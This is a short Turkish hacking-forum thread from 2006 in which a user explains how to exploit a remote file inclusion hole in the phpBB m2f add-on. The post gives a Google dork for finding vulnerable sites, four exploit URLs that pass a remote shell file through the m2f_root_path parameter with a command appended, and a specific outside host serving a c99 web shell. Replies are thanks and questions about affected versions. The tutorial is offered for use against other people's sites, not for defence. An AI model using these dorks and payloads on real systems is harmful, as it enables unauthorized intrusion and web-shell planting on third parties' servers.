Phpbb Remote File İnclusion Anlatımı

Tahribat.com Forumları
line

Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
line

22/Tem/06 17:19 Kısayol Şikayet Özel Mesaj

AntiOksidan

Kayıt Tarihi: 03/Ekim/2005

sealm arkadaşlar.fazla geyik yapmadan konuya girece...yeniyseniz sizin için burda pek bişey olduunu sanmıyorum.
rfi kodlama açıklarından kaynaklardna dolayı uzaktan kod çalıştırmamıza yarıyor..şimdi phpbb sitelerde bunu görücez..

googlea girin ve;

allinurl:/m2f_usercp.php?

diye aratın karşımıza bir sürü site çıkacak.sitelerin sonuna eklemeler yapacaız yani sitelr şöle olacak;

http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

forum pathhet ötesini yapıstıracaksnız ve

http://[attacker] yerine size vereceim shelli kullanacaksınız...
şunu:

http://mythvirus.t35.com/c99.txt?

ondan sonrasını daha önceki dökümanda anlatmıştım..
alıntı falan değildir.bişe yazmasanız bile saçma sapan şeyler yazmassanız sevinirim...

Alıntı yap
22/Tem/06 17:26 Kısayol Şikayet Özel Mesaj

HolyDemon

Kayıt Tarihi: 16/Temmuz/2005

saolasın üstat deneyelim bi

Alıntı yap
22/Tem/06 17:28 Kısayol Şikayet Özel Mesaj

kurdo

Kayıt Tarihi: 18/Temmuz/2005

hangi sürümlerde işlediini belirtirsen çok daa ii olur antimoksidanım

kendinize ayığ olunuz

Alıntı yap
28/Tem/06 10:03 Kısayol Şikayet Özel Mesaj

Sk8er

Kayıt Tarihi: 29/Haziran/2006

banlanmis oksidan ım harbiden seviniriz hangilerin yaradğını söylersen

Kefillik işleri için kalite ; 10 yıldır hizmetinizdeyiz , Kefillik 10 lira. Lütfen daha yüksek id"li arkadaşları tercih etmeyiniz. Kefil olduğumuz binlerce kullanıcıya sorabilirsiniz...

Alıntı yap

Toplam Hit: 1320 Toplam Mesaj: 4

Cevapla